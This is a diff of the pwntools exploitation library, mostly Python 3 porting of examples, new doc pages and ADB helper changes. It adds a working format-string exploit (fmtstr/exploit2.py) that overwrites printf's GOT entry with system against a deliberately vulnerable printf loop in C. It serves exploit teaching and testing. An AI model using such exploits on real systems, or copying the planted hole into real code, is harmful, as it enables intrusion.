-                    'module %s, attribute %s' % (
-                        safe_getattr(self.object, '__name__', '???'), mname))
-        return False, ret
-
 class _DummyClass(object): pass
 
 class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
@@ -437,6 +410,13 @@ def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
         checker = Py2OutputChecker()
     doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
 
+class EndlessLoop(Exception): pass
+def alrm_handler(sig, frame):
+    signal.alarm(180) # three minutes
+    raise EndlessLoop()
+signal.signal(signal.SIGALRM, alrm_handler)
+signal.alarm(600) # ten minutes
+
 if 'doctest' in sys.argv:
     def setup(app):
         app.connect('autodoc-skip-member', dont_skip_any_doctests)
@@ -444,4 +424,3 @@ if 'doctest' in sys.argv:
     if sys.version_info[:1] < (3,):
         import sphinx.ext.doctest
         sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
-    sphinx.ext.autodoc.ModuleDocumenter.get_object_members = get_object_members_all

docs/source/encoders.rst

@@ -5,21 +5,20 @@
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================
 
-.. automodule:: pwnlib.encoders
-   :members:
-
 .. automodule:: pwnlib.encoders.encoder
    :members:
 
-
-.. automodule:: pwnlib.encoders.amd64
-   :members:
-
-.. automodule:: pwnlib.encoders.arm
-   :members:
-
-.. automodule:: pwnlib.encoders.i386
-   :members:
-
 .. automodule:: pwnlib.encoders.i386.xor
    :members:
+
+.. automodule:: pwnlib.encoders.i386.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.amd64.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.arm.xor
+   :members:
+
+.. automodule:: pwnlib.encoders.mips.xor
+   :members:

docs/source/filepointer.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.filepointer import *
+
+:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
+============================================================
+
+.. automodule:: pwnlib.filepointer
+   :members:

docs/source/gdb.rst

@@ -1,6 +1,8 @@
 .. testsetup:: *
 
     from pwn import *
+    context.arch = 'amd64'
+    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
 
 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================

docs/source/index.rst

@@ -54,6 +54,7 @@ Each of the ``pwntools`` modules is documented here.
    encoders
    elf
    exception
+   filepointer
    flag
    fmtstr
    gdb

docs/source/install.rst

@@ -25,9 +25,9 @@ pwntools is available as a ``pip`` package.
 .. code-block:: bash
 
     $ apt-get update
-    $ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
-    $ pip install --upgrade pip
-    $ pip install --upgrade pwntools
+    $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+    $ python3 -m pip install --upgrade pip
+    $ python3 -m pip install --upgrade pwntools
 
 Development
 --------------

docs/source/install/binutils.rst

@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
 .. code-block:: bash
 
-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
+    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
 
 Alternate OSes
 ^^^^^^^^^^^^^^^^

docs/source/protocols/adb.rst

@@ -2,6 +2,7 @@
 
    from pwn import *
    from pwnlib.protocols.adb import AdbClient
+   AdbClient().wait_for_device()
 
 :mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
 ===========================================================

docs/source/rop/ret2dlresolve.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   import tempfile
+
+:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
+========================================================
+
+.. automodule:: pwnlib.rop.ret2dlresolve
+   :members:

docs/source/term/readline.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwnlib.term.readline import *
+   import io
+
+:mod:`pwnlib.term.readline` --- Terminal nice readline
+======================================================
+
+.. automodule:: pwnlib.term.readline
+   :members:

docs/source/ui.rst

@@ -1,3 +1,8 @@
+.. testsetup:: *
+
+   from pwn import *
+   import io
+
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================
 

examples/README.md

@@ -26,6 +26,10 @@ Try running this example with::
 ```
 Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
 ```
+* `attach.py`
+```
+Example showing `pwnlib.gdb.attach()`
+```
 * `clean_and_log.py`
 ```
 Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -65,8 +69,7 @@ Example showing `pwnlib.ui.options()`
 ```
 * `port_forward.py`
 ```
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 ```
 * `readline_completers.py`
 ```
@@ -74,6 +77,10 @@ Example showing pwnlib's readline implementation and a few completers.  This
 part of pwnlib will probably see some major changes soon, but we wanted to show
 off some proof-of-concepts.
 ```
+* `remote.py`
+```
+Example showing how to use the remote class.
+```
 * `remote_gdb_debugging.py`
 ```
 Simple example showing how to use the remote
@@ -103,7 +110,7 @@ and::
 
   $ TERM=xterm-256color python text.py
 ```
-* `remote.py`
+* `yesno.py`
 ```
-Example showing how to use the remote class.
+Example showing `pwnlib.ui.yesno()`
 ```

examples/android.py

@@ -1,22 +1,25 @@
-from pwn import *
+from __future__ import print_function
+
+import gdb
+from pwn import adb, context
 
 # Tell pwntools that the target is an Android device
-context.os='android'
-context.arch='aarch64' # or 'arm'
+context.os = "android"
+context.arch = "aarch64"  # or 'arm'
 
 # Optionally, set the remote ADB server address
-context.adb_host='172.16.110.1'
+context.adb_host = "172.16.110.1"
 
 # Wait for a device to become available
-print adb.wait_for_device()
+print(adb.wait_for_device())
 
 # Who am I?
-print adb.process('id').recvall().strip()
+print(adb.process("id").recvall().strip())
 
 # Interactive sessions!
 io = adb.shell()
-io.sendline('echo Hello, world; exit')
-print io.recvall().replace('\r\n', '\n').strip()
+io.sendline("echo Hello, world; exit")
+print(io.recvall().replace("\r\n", "\n").strip())
 
 # Debugging!
-gdb.debug('sh').interactive()
+gdb.debug("sh").interactive()

examples/args.py

@@ -14,5 +14,5 @@ Try running this example with::
 
 from pwn import *
 
-print args['RHOST'] or 'RHOST is not set'
-print args['RPORT'] or 'RPORT is not set'
+print(args['RHOST'] or 'RHOST is not set')
+print(args['RPORT'] or 'RPORT is not set')

examples/asm.py

@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
 shellcode = shellcraft.i386_to_amd64()
 shellcode_asm = asm(shellcode)
 
-print enhex(shellcode_asm)
-print disasm(shellcode_asm)
+print(enhex(shellcode_asm))
+print(disasm(shellcode_asm))

examples/attach.py

@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
 from pwn import *
 
 bash = process('/bin/bash')
-gdb.attach(bash, execute = '''
+gdb.attach(bash, gdbscript = '''
 p "hello from pwnlib"
 c
 ''')

examples/clean_and_log.py

@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
 
 while True:
     line = r.recvline()
-    print re.findall('^prefix (\S+)$', line)[0]
+    print(re.findall(r'^prefix (\S+)$', line)[0])

examples/fmtstr/Makefile

@@ -1,9 +1,11 @@
 CFLAGS := -Wno-unused-result -Wno-format-security
 TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
-	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
+	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
+	         printf-loop.native printf-loop.native32
 
 .PHONY: run
 run: all
+	./exploit2.py
 	./exploit.py
 
 .PHONY: all
@@ -43,7 +45,7 @@ clean:
 %.native: %.c
 	gcc $(CFLAGS) -o "$@" $^
 %.native32: %.c
-	i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
+	gcc $(CFLAGS) -m32 -o "$@" $^
 
 # install deps on ubuntu xenial
 .PHONY: install-apt

examples/fmtstr/exploit.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python
 from pwn import *
 
 @context.quiet
@@ -15,8 +15,8 @@ def exploit(binary):
         addr = unpack(p.recv(context.bytes))
         payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
         p.sendline(payload)
-        p.recvuntil("DONE")
-        print hex(u32(p.recv(4)))
+        p.recvuntil(b"DONE")
+        print(hex(u32(p.recv(4))))
 
 binaries = [
     "printf.mips",

examples/fmtstr/exploit2.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+An example combining fmtstr and dynelf to automatically exploit a PIE binary.
+"""
+
+from pwn import *
+
+def exploit(e):
+    p = e.process()
+
+    def executer(fmt):
+        p.sendline(fmt)
+        p.stdin.flush()
+        r = p.recvuntil(b'again=\n')
+        return r
+    f = FmtStr(executer)
+
+    # find some code pointer on stack
+    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
+    min_code_ptr = 0x10 << addrbits-8
+    max_code_ptr = 0x7e << addrbits-8
+    for off in range(64):
+        random_code_ptr = f.leak_stack(off)
+        packed = bytearray(pack(random_code_ptr))
+        chars = set(packed) - {0}
+        # simple heuristic
+        if (min_code_ptr < random_code_ptr < max_code_ptr
+            and max(chars) > 0x80 and min(chars) < 0x80
+            and not hex(random_code_ptr).startswith('0x7ff')):
+            break
+
+    log.info("Code ptr: %#x"%random_code_ptr)
+
+    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
+
+    print("Stack: %#x" % (online_elf.stack(),))
+    print("Heap: %#x" % (online_elf.heap(),))
+
+    info("Finding base address of the executable")
+    for ref in e.sym:
+        if not ref:
+            continue
+        # if we have the address of a symbol on remote, we know the offset
+        ref_addr = online_elf.lookup(ref)
+        if ref_addr:
+            print("%s: %r" % (ref, ref_addr))
+            break
+
+    system = online_elf.lookup('system', 'libc')
+    print("system: %#x" % system)
+
+    # fix up the address
+    e.address += ref_addr - e.sym[ref]
+
+    # actual exploit: overwrite printf with system
+    f.write(e.sym.got.printf, system)
+    f.execute_writes()
+
+    p.sendline(b'echo ::$(( 16 * 16 ))')
+    p.recvuntil(b'::')
+    line = p.recvline()
+    assert line == b'256\n'
+    p.sendline(b'exit')
+    p.close()
+
+
+for context.binary in 'printf-loop.native32', 'printf-loop.native':
+    exploit(context.binary)

examples/fmtstr/printf-loop.c

@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+  while (1) {
+    char str[256];
+    int n = read(STDIN_FILENO, str, sizeof(str) - 1);
+    str[n] = '\0';
+    printf(str);
+    printf("\n=try again=\n");
+    fflush(stdout);
+  }
+  return 0;
+}

examples/gen-README.py

@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
             continue
         path = os.path.join(top, name)[2:] # strip './'
         log.info('-> %s' % path)
-        data = read(path).strip()
+        data = read(path).strip().decode()
         if data[0:3] not in ('"""', "'''"):
             log.warning('  Has no docstring!')
             continue
@@ -37,6 +37,7 @@ def append_example(_arg, top, names):
         out += '* `%s`\n' % path
         out += '```%s```\n' % doc
 
-os.path.walk('.', append_example, None)
+for path, dirs, files in os.walk('.', onerror=None):
+    append_example(dirs, path, sorted(files))
 
 write('README.md', out)

examples/options.py

@@ -5,4 +5,4 @@ Example showing `pwnlib.ui.options()`
 from pwn import *
 
 opts = [string.letters[x] for x in range(10)]
-print 'You choose "%s"' % opts[options('Pick one:', opts)]
+print('You choose "%s"' % opts[options('Pick one:', opts)])

examples/port_forward.py

@@ -1,11 +1,10 @@
 """
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 """
 
 from pwn import *
 
 while True:
-    listen(1337).wait_for_connection() <> remote('google.com', 80)
+    listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
 
 # now point your browser (or curl(1)) to http://localhost:1337

examples/readline_completers.py

@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
 c2 = PathCompleter(mask = '*.py')
 
 with c1:
-    print 'type "exit" to exit'
+    print('type "exit" to exit')
     while True:
-        s = term.readline.readline(prompt = '> ').strip()
+        s = str_input(prompt = '> ').strip()
         if s in ('exit', 'enough!'):
             break
-        print 'You wrote', s
+        print('You wrote', s)
 with c2:
-    print 'choose a file'
-    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
-    print 'You picked', s
+    print('choose a file')
+    s = str_input(prompt = text.bold_green('$ ')).strip()
+    print('You picked', s)

examples/remote.py

@@ -6,6 +6,6 @@ from pwn import *
 
 sock = remote('127.0.0.1', 9001)
 
-print sock.recvline()
+print(sock.recvline())
 sock.send('foo')
 sock.interactive()

examples/remote_gdb_debugging.py

@@ -8,10 +8,10 @@ import getpass
 from pwn import *
 
 s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
-c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
+c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
 p/x $pc
 c''')
 
 c.sendline('ls -la')
 c.sendline('exit')
-print c.recvall()
+print(c.recvall())

examples/sigreturn_corefile_aarch64.py

@@ -3,11 +3,12 @@ context.arch='aarch64'
 frame = SigreturnFrame()
 
 registers = ['x%i' % i for i in range(0, 31)]
-registers += ['sp', 'pc']
+registers += ['pc']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -23,8 +24,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/sigreturn_corefile_arm.py

@@ -4,11 +4,12 @@ context.arch='arm'
 frame = SigreturnFrame()
 
 registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
-             'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
+             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,8 +25,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/spinners.py

@@ -10,9 +10,9 @@ n = 1
 h = log.waitfor('spinners running', status = str(n))
 
 hs = []
-print 'type "q" to quit'
+print('type "q" to quit')
 while True:
-    s = raw_input('> ')
+    s = str_input('> ').strip()
     if s == 'q':
         break
     hs.append(log.waitfor(s, status = 'running'))

examples/splash.py

@@ -9,5 +9,5 @@ splash()
 h = log.waitfor("You wrote", status = "--")
 
 while True:
-    l = raw_input('> ')
+    l = str_input('> ').strip()
     h.status(l.upper())

examples/ssh.py

@@ -14,7 +14,7 @@ log.info("pwd: %s" % shell.pwd())
 tube = shell.run('cat')
 tube.send("Hello, cat")
 tube.shutdown("out")
-print tube.recvall()
+print(tube.recvall())
 
 # Show automatic working directories
 shell.set_working_directory()
@@ -29,12 +29,12 @@ int main() {
 
 shell.gcc(['example.c','-o','example'])
 
-print shell['./example']
+print(shell['./example'])
 
 # Show the different styles of calling
-print shell.echo("single string")
-print shell.echo(["list","of","strings"])
-print shell["echo single statement"]
+print(shell.echo("single string"))
+print(shell.echo(["list","of","strings"]))
+print(shell["echo single statement"])
 
 # Show off the interactive shell
 shell.interactive()

examples/text.py

@@ -12,8 +12,8 @@ and::
 from pwn import *
 
 s = 'hello from pwntools'
-print text.black_on_green(s)
-print text.black_on_bright_green(s)
-print text.green_on_black(s)
-print text.bright_green_on_black(s)
-print text.bold_green_on_black(s)
+print(text.black_on_green(s))
+print(text.black_on_bright_green(s))
+print(text.green_on_black(s))
+print(text.bright_green_on_black(s))
+print(text.bold_green_on_black(s))

examples/yesno.py

@@ -5,6 +5,6 @@ Example showing `pwnlib.ui.yesno()`
 from pwn import *
 
 if ui.yesno('Do you like Pwntools?'):
-    print ':D'
+    print(':D')
 else:
-    print ':('
+    print(':(')

pwn/toplevel.py

@@ -29,15 +29,18 @@ from pwnlib.elf.elf import ELF, load
 from pwnlib.encoders import *
 from pwnlib.exception import PwnlibException
 from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
+from pwnlib.filepointer import *
 from pwnlib.flag import *
-from pwnlib.fmtstr import FmtStr, fmtstr_payload
+from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
 from pwnlib.log import getLogger
 from pwnlib.memleak import MemLeak, RelativeMemLeak
 from pwnlib.regsort import *
 from pwnlib.replacements import *
 from pwnlib.rop import ROP
 from pwnlib.rop.srop import SigreturnFrame
+from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
 from pwnlib.runner import *
+from pwnlib.term.readline import str_input
 from pwnlib.timeout import Timeout
 from pwnlib.tubes.listen import listen
 from pwnlib.tubes.process import process, PTY, PIPE, STDOUT

pwnlib/adb/adb.py

@@ -75,8 +75,10 @@ log = getLogger(__name__)
 def adb(argv, *a, **kw):
     r"""Returns the output of an ADB subcommand.
 
-    >>> adb.adb(['get-serialno'])
+    >>> adb.adb('get-serialno')
     b'emulator-5554\n'
+    >>> adb.adb(['shell', 'uname']) # it is better to use adb.process
+    b'Linux\n'
     """
     if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
@@ -115,7 +117,7 @@ def current_device(any=False):
 
         >>> device = adb.current_device(any=True)
         >>> device
-        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_phone_armv7', model='sdk phone armv7', device='generic')
+        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_google_phone_armv7', model='sdk google phone armv7', device='generic')
         >>> device.port
         'emulator'
     """
@@ -198,6 +200,10 @@ def uptime():
 
     Returns:
         Uptime of the device, in seconds
+
+    Example:
+        >>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
+        True
     """
     up, idle = map(float, read('/proc/uptime').split())
     return up
@@ -209,10 +215,15 @@ def boot_time():
     Returns:
         Boot time of the device, in Unix time, rounded to the
         nearest second.
+
+    Example:
+        >>> import time
+        >>> adb.boot_time() < time.time()
+        True
     """
     for line in read('/proc/stat').splitlines():
         name, value = line.split(None, 1)
-        if name == 'btime':
+        if name == b'btime':
             return int(value)
 
 class AdbDevice(Device):
@@ -228,7 +239,7 @@ class AdbDevice(Device):
         >>> device.os
         'android'
         >>> device.product
-        'sdk_phone_armv7'
+        'sdk_google_phone_armv7'
         >>> device.serial
         'emulator-5554'
     """
@@ -277,7 +288,7 @@ class AdbDevice(Device):
             return
 
         with context.local(device=self.serial):
-            abi = str(properties.ro.product.cpu.abi)
+            abi = getprop('ro.product.cpu.abi')
             context.clear()
             context.arch = str(abi)
             self._arch = context.arch
@@ -662,9 +673,9 @@ def makedirs(path):
 
     Examples:
 
-        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
+        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
         >>> adb.listdir('/data/local/tmp/this/is/a/directory')
-        ['heirarchy']
+        ['hierarchy']
     """
     if path != '/':
         makedirs(os.path.dirname(path))
@@ -680,7 +691,7 @@ def exists(path):
 
         >>> adb.exists('/')
         True
-        >>> adb.exists('/init')
+        >>> adb.exists('/etc/hosts')
         True
         >>> adb.exists('/does/not/exist')
         False
@@ -816,17 +827,18 @@ def which(name, all = False, *a, **kw):
     """
     # Unfortunately, there is no native 'which' on many phones.
     which_cmd = '''
-echo $PATH | while read -d: directory; do
-    [ -x "$directory/{name}" ] || continue;
-    echo -n "$directory/{name}\\x00";
-done
+(IFS=:
+  for directory in $PATH; do
+      [ -x "$directory/{name}" ] || continue;
+      echo -n "$directory/{name}\\x00";
+  done
+)
 [ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
 '''.format(name=name)
 
     which_cmd = which_cmd.strip()
     data = process(['sh','-c', which_cmd], *a, **kw).recvall()
-    if not hasattr(data, 'encode'):
-        data = data.decode('utf-8')
+    data = context._decode(data)
     result = []
 
     for path in data.split('\x00'):
@@ -849,6 +861,12 @@ done
 
 @with_device
 def whoami():
+    """Returns current shell user
+
+    Example:
+       >>> adb.whoami()
+       b'root'
+    """
     return process(['sh','-ic','echo $USER']).recvall().strip()
 
 @with_device
@@ -896,7 +914,12 @@ def pidof(name):
 
 @with_device
 def proc_exe(pid):
-    """Returns the full path of the executable for the provided PID."""
+    """Returns the full path of the executable for the provided PID.
+
+    Example:
+        >>> adb.proc_exe(1)
+        b'/init'
+    """
     with context.quiet:
         io  = process(['realpath','/proc/%d/exe' % pid])
         data = io.recvall().strip()
@@ -912,24 +935,23 @@ def getprop(name=None):
     Returns:
         If ``name`` is not specified, a ``dict`` of all properties is returned.
         Otherwise, a string is returned with the contents of the named property.
+
+    Example:
+        >>> adb.getprop() # doctest: +ELLIPSIS
+        {...}
     """
     with context.quiet:
         if name:
             result = process(['getprop', name]).recvall().strip()
-            if not hasattr(result, 'encode'):
-                result = result.decode('utf-8')
+            result = context._decode(result)
             return result
 
-
         result = process(['getprop']).recvall()
 
-    if not hasattr(result, 'encode'):
-        result = result.decode('utf-8')
-
+    result = context._decode(result)
     expr = r'\[([^\]]+)\]: \[(.*)\]'
 
     props = {}
-
     for line in result.splitlines():
         if not line.startswith('['):
             continue
@@ -960,7 +982,7 @@ def listdir(directory='/'):
         Otherwise, less files may be returned due to restrictive SELinux
         policies on adbd.
     """
-    return list(sorted(AdbClient().list(directory)))
+    return sorted(AdbClient().list(directory))
 
 @with_device
 def fastboot(args, *a, **kw):
@@ -975,17 +997,17 @@ def fastboot(args, *a, **kw):
 @with_device
 def fingerprint():
     """Returns the device build fingerprint."""
-    return str(properties.ro.build.fingerprint)
+    return getprop('ro.build.fingerprint')
 
 @with_device
 def product():
     """Returns the device product identifier."""
-    return str(properties.ro.build.product)
+    return getprop('ro.build.product')
 
 @with_device
 def build():
     """Returns the Build ID of the device."""
-    return str(properties.ro.build.id)
+    return getprop('ro.build.id')
 
 @with_device
 @no_emulator
@@ -995,15 +1017,44 @@ def unlock_bootloader():
     Note:
         This requires physical interaction with the device.
     """
-    AdbClient().reboot_bootloader()
-    fastboot(['oem', 'unlock'])
-    fastboot(['continue'])
+    w = log.waitfor("Unlocking bootloader")
+    with w:
+        if getprop('ro.oem_unlock_supported') == '0':
+            log.error("Bootloader cannot be unlocked: ro.oem_unlock_supported=0")
+
+        if getprop('ro.boot.oem_unlock_support') == '0':
+            log.error("Bootloader cannot be unlocked: ro.boot.oem_unlock_support=0")
+
+        if getprop('sys.oem_unlock_allowed') == '0':
+            log.error("Bootloader cannot be unlocked: Enable OEM Unlock in developer settings first", context.device)
+
+        AdbClient().reboot_bootloader()
+
+        # Check to see if it's unlocked before attempting unlock
+        unlocked = fastboot(['getvar', 'unlocked'])
+        if 'unlocked: yes' in unlocked:
+            w.success("Already unlocked")
+            fastboot(['continue'])
+            return
+
+        fastboot(['oem', 'unlock'])
+        unlocked = fastboot(['getvar', 'unlocked'])
+
+        fastboot(['continue'])
+
+        if 'unlocked: yes' not in unlocked:
+            log.error("Unlock failed")
 
 class Kernel(object):
     _kallsyms = None
 
     @property
     def address(self):
+        """Returns kernel address
+        Example:
+            >>> hex(adb.kernel.address) # doctest: +ELLIPSIS
+            '0x...000'
+        """
         return self.symbols['_text']
 
     @property
@@ -1026,7 +1077,7 @@ class Kernel(object):
             self._kallsyms = {}
             root()
             write('/proc/sys/kernel/kptr_restrict', '1')
-            self._kallsyms = read('/proc/kallsyms')
+            self._kallsyms = read('/proc/kallsyms').decode('ascii')
         return self._kallsyms
 
     @property
@@ -1054,7 +1105,7 @@ class Kernel(object):
 
     def enable_uart(self):
         """Reboots the device with kernel logging to the UART enabled."""
-        model = str(properties.ro.product.model)
+        model = getprop('ro.product.model')
 
         known_commands = {
             'Nexus 4': None,
@@ -1102,15 +1153,15 @@ kernel = Kernel()
 
 class Property(object):
     def __init__(self, name=None):
+        # Need to avoid overloaded setattr() so we go through __dict__
         self.__dict__['_name'] = name
 
     def __str__(self):
         return str(getprop(self._name)).strip()
 
-    def __repr__(self):
-        return repr(str(self))
-
     def __getattr__(self, attr):
+        if attr.startswith('_'):
+            raise AttributeError(attr)
         if self._name:
             attr = '%s.%s' % (self._name, attr)
         return Property(attr)
@@ -1123,6 +1174,21 @@ class Property(object):
             attr = '%s.%s' % (self._name, attr)
         setprop(attr, value)
 
+    def __eq__(self, other):
+        """Allow simple comparison
+
+        Example:
+            >>> adb.properties.ro.build.version.sdk == "24"
+            True
+        """
+        if isinstance(other, six.string_types):
+            return str(self) == other
+        return super(Property, self).__eq__(other)
+
+    def __hash__(self, other):
+        # Allow hash indices matching on the property
+        return hash(self._name)
+
 properties = Property()
 
 def _build_date():
@@ -1197,7 +1263,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
     return root
 
 def compile(source):
-    """Compile a source file or project with the Android NDK."""
+    r"""Compile a source file or project with the Android NDK.
+
+    Example:
+        >>> temp = tempfile.mktemp('.c')
+        >>> write(temp, '''
+        ... #include <stdio.h>
+        ... static char buf[4096];
+        ... int main() {
+        ...   FILE *fp = fopen("/proc/self/maps", "r");
+        ...   int n = fread(buf, 1, sizeof(buf), fp);
+        ...   fwrite(buf, 1, n, stdout);
+        ...   return 0;
+        ... }''')
+        >>> filename = adb.compile(temp)
+        >>> sent = adb.push(filename, "/data/local/tmp")
+        >>> adb.process(sent).recvall() # doctest: +ELLIPSIS
+        b'... /system/bin/linker\n...'
+    """
 
     ndk_build = misc.which('ndk-build')
     if not ndk_build:
@@ -1225,8 +1308,8 @@ def compile(source):
 
         # If we have an attached device, use its settings.
         if context.device:
-            abi = str(properties.ro.product.cpu.abi)
-            sdk = str(properties.ro.build.version.sdk)
+            abi = getprop('ro.product.cpu.abi')
+            sdk = getprop('ro.build.version.sdk')
 
         if abi is None:
             log.error("Unknown CPU ABI")
@@ -1244,7 +1327,7 @@ def compile(source):
     result = io.recvall()
 
     if 0 != io.poll():
-        log.error("Build failed:\n%s" % result)
+        log.error("Build failed:\n%s", result)
 
     # Find all of the output files
     output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1294,37 +1377,59 @@ def find(top, name):
 
 @with_device
 def readlink(path):
-    path = process(['readlink', path]).recvall()
+    path = process(['realpath', path]).recvall()
 
     # Readlink will emit a single newline
     # We can't use the '-n' flag since old versions don't support it
-    if path.endswith('\n'):
+    if path.endswith(b'\n'):
         path = path[:-1]
 
-    return path
+    return path.decode()
 
 class Partitions(object):
+    """Enable access to partitions
+
+    Example:
+        >>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
+        '0x...000'
+    """
     @property
     @context.quietfunc
     def by_name_dir(self):
-        return next(find('/dev/block/platform','by-name'))
+        try:
+            return next(find('/dev/block/platform','by-name'))
+        except StopIteration:
+            return '/dev/block'
 
     @context.quietfunc
     def __dir__(self):
         return list(self)
 
+    @context.quietfunc
+    def iter_proc_partitions(self):
+        for line in read('/proc/partitions').splitlines():
+            if not line.strip():
+                continue
+            major, minor, blocks, name = line.split(None, 4)
+            yield blocks, name.decode()
+
     @context.quietfunc
     @with_device
     def __iter__(self):
         root()
 
         # Find all named partitions
-        for name in listdir(self.by_name_dir):
-            yield name
+        names = set(listdir(self.by_name_dir))
+
+        # Find all unnamed partitions
+        for _, name in self.iter_proc_partitions():
+            names.add(name)
+        return iter(names)
 
-    @context.quietfunc
-    @with_device
     def __getattr__(self, attr):
+        if attr.startswith("_"):
+            raise AttributeError(attr)
+
         for name in self:
             if name == attr:
                 break
@@ -1333,19 +1438,17 @@ class Partitions(object):
 
         path = os.path.join(self.by_name_dir, name)
 
-        # Find the actual path of the device
-        devpath = readlink(path)
-        devname = os.path.basename(devpath)
+        with context.quiet:
+            # Find the actual path of the device
+            devpath = readlink(path)
+            devname = os.path.basename(devpath)
 
-        # Get the size of the partition
-        for line in read('/proc/partitions').splitlines():
-            if not line.strip():
-                continue
-            major, minor, blocks, name = line.split(None, 4)
-            if devname == name:
-                break
-        else:
-            log.error("Could not find size of partition %r" % name)
+            # Get the size of the partition
+            for blocks, name in self.iter_proc_partitions():
+                if name in (devname, attr):
+                    break
+            else:
+                log.error("Could not find size of partition %r" % name)
 
         return Partition(devpath, attr, int(blocks))
 
@@ -1397,3 +1500,9 @@ def packages():
     """Returns a list of packages installed on the system"""
     packages = process(['pm', 'list', 'packages']).recvall()
     return [line.split('package:', 1)[-1] for line in packages.splitlines()]
+
+@context.quietfunc
+def version():
+    """Returns rthe platform version as a tuple."""
+    prop = getprop('ro.build.version.release')
+    return [int(v) for v in prop.split('.')]

pwnlib/asm.py

@@ -576,7 +576,7 @@ def make_elf(data,
         _run(assembler + ['-o', step2, step1])
 
         linker_options = ['-z', 'execstack']
-        if vma:
+        if vma is not None:
             linker_options += ['--section-start=.shellcode=%#x' % vma,
                                '--entry=%#x' % vma]
         elif shared:

pwnlib/commandline/asm.py

@@ -5,6 +5,9 @@ from __future__ import division
 import argparse
 import sys
 
+import pwnlib
+pwnlib.args.free_form = False
+
 from pwn import *
 from pwnlib.commandline import common
 
@@ -130,7 +133,7 @@ def main(args):
             output = output.encode('ascii')
         args.output.write(output)
 
-    if tty and fmt is not 'raw':
+    if tty and fmt != 'raw':
         args.output.write(b'\n')
 
 if __name__ == '__main__':

pwnlib/commandline/cyclic.py

